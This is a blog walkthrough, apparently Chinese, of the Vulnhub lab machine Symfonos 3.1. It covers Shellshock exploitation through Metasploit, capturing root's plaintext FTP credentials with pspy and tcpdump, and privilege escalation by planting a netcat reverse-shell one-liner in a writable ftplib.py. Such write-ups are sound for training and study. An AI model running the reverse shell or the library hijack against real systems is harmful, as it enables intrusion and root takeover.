Vulnhub靶机:Symfonos3.1

标签shellshock破壳CVE-2014-6271嗅探ftp数据包python提权

0x00 环境准备

下载地址:https://www.vulnhub.com/entry/symfonos-31,332/
flag数量:1
攻击机:kali
攻击机地址:192.168.1.31
靶机描述:

Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you're welcome to contact me via Twitter @zayotic

## Changelog v3.1 - 2020-04-07 v3.0 - 2019-07-20

0x01 信息搜集

1.探测靶机地址

命令:arp-scan -l

靶机地址是192.168.1.43

2.探测靶机开放端口

命令:nmap -sV -p- 192.168.1.43

看一下80端口

就是一张图片,由于这次没有smb服务了,再看看80端口上还有没有其他信息。
F12看一下源码

发现有一句注释,翻译过来大概是“你能破获地下世界吗?”。感觉是要扫描目录。

3.目录扫描

先用dirb扫描一下,命令:dirb http://192.168.1.43

发现了一些目录,访问一下看看,发现http://192.168.1.43/gate/可以正常访问

再爆破一下gate下的目录,但是没有爆破出来什么。
尝试使用dirbuster工具进行爆破

扫描出一堆/cdi-bin/下的目录

打开几个看一下

发现打开的几个页面都是这样的,只是时间不同。这个像是uptime命令的输出结果。

去看了一下表哥的文章,发现这里存在shellshock漏洞

0x02 shellshock漏洞getshell

CVE编号:CVE-2014-6271

漏洞成因:
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统
受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令

影响版本:

关于该漏洞的其他详细信息可看https://www.freebuf.com/articles/system/45390.html

在msf中找找看有没有利用工具。
打开msf,查找shellshock利用模块,命令:search shellshock

由于靶机使用的是apache,这里选择使用exploit/multi/http/apache_mod_cgi_bash_env_exec模块,命令:use exploit/multi/http/apache_mod_cgi_bash_env_exec

设置参数:

利用成功:

0x03 嗅探ftp数据包

这个靶机的提权有点CTF的味道,我参考的表哥的文章进行提权。以下内容都是参考表哥的文章。
下载pspy工具https://github.com/DominicBreuker/pspy,进行嗅探。

pspy是一种命令行工具,旨在无需root权限即可监听进程。它使您可以查看其他用户执行的命令,cron作业等。非常适合枚举CTF中的Linux系统。很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。

使用python切换到shell环境,输入uname -a查看机器是64位的,那就下载64位的pspy

切换到/tmp目录进行下载,命令:wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
然后给pspy64执行权限chmod 777 pspy64,输入命令:./pspy64 -pf -c -i 1000

在这里发现ftpclient.py正在运行,而且UID=0,说明正在以root的身份运行

ftp协议是明文传输的,如果能抓到ftp的包,那就可以得到账号密码了。那么使用什么工具抓包呢?比较常用的是tcpdump,查看靶机上是否安装了tcpdump,命令:tcpdump --version

靶机上已经安装了tcpdump,那就使用它来抓包。
查看靶机上有哪些网络接口

tcpdump一般抓取loopback状态的接口,这里抓取lo接口,命令:tcpdump -i lo -w ftp.pcap

ftp.pcap下载到kali上使用wireshark进行分析。
在靶机上开启临时http服务

在kali上下载

使用wirewhark打开,输入tcp.port==21筛选,在下面符合条件的数据包中找一条,右键“追踪流”

然后就能看到账号密码了。

账号密码:hades \ PTpZTfU4vxgzvRBE

0x04 提权

使用刚才拿到的ftp账号尝试登录ssh

登录成功
刚才使用pspy工具的时候发现,ftpclient.py是以root身份运行的,如果hades用户具有对ftpclient.py脚本的写入权限,那么就可以提权。

很遗憾hades用户组只有读权限没有写权限,看一下ftpclient.py的代码吧

使用命令查找一下hades对哪些文件有写权限吧,命令:find / -writable -type d 2>/dev/null

诶,在里面发现我们对python2.7目录下的文件有写权限。刚才我们查看了ftpclient.py文件,其中会import ftplib模块,如果我们可以修改ftplib模块,在ftpclien.py文件运行的时候,就会执行我们修改后的代码,那么就可以反弹shell了。
使用nano工具进行编辑,命令:nano ftplib.py

将反弹shell语句插入进去,语句:import os;os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.xxx.xxxx 7777 >/tmp/f')
然后保存退出

在kali上监听7777端口,等待反弹

大约等了2分钟,接收到了,身份是root

flag在/root目录下

0x05 小结

靶机从破壳漏洞开始,使用msf拿到shell,之后使用pspy工具发现ftp软件正在运行,由于ftp是明文传输的,所以在ftp的数据包中可以看到账号密码,然后使用tcpdump工具抓包,发现了ftp的账号密码。巧合的是SSH服务使用的账号密码和FTP服务是同一个,所以可以使用FTP服务登录SSH服务,之后通过向ftplib.py文件中追加命令进行提权。

由于我不会每天都登录简书,所以有什么私信或者评论我都不能及时回复,如果想要联系我最好给我发邮件,邮箱:Z2djMjUxMTBAMTYzLmNvbQ==,如果发邮件请备注“简书”


参考链接:

1.vulnhub - /symfonos-3 (考点:shellshock & tcpdump /cap & linux修改py提权)
2.『VulnHub系列』symfonos: 3-Walkthrough
3.tcpdump抓包使用小结
4.破壳(ShellShock)漏洞样本分析报告
5.CVE-2014-6271破壳(shellshock)漏洞复现记录
6.https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,294评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,780评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,001评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,593评论 1 289
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,687评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,679评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,667评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,426评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,872评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,180评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,346评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,019评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,658评论 3 323
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,268评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,495评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,275评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,207评论 2 352

推荐阅读更多精彩内容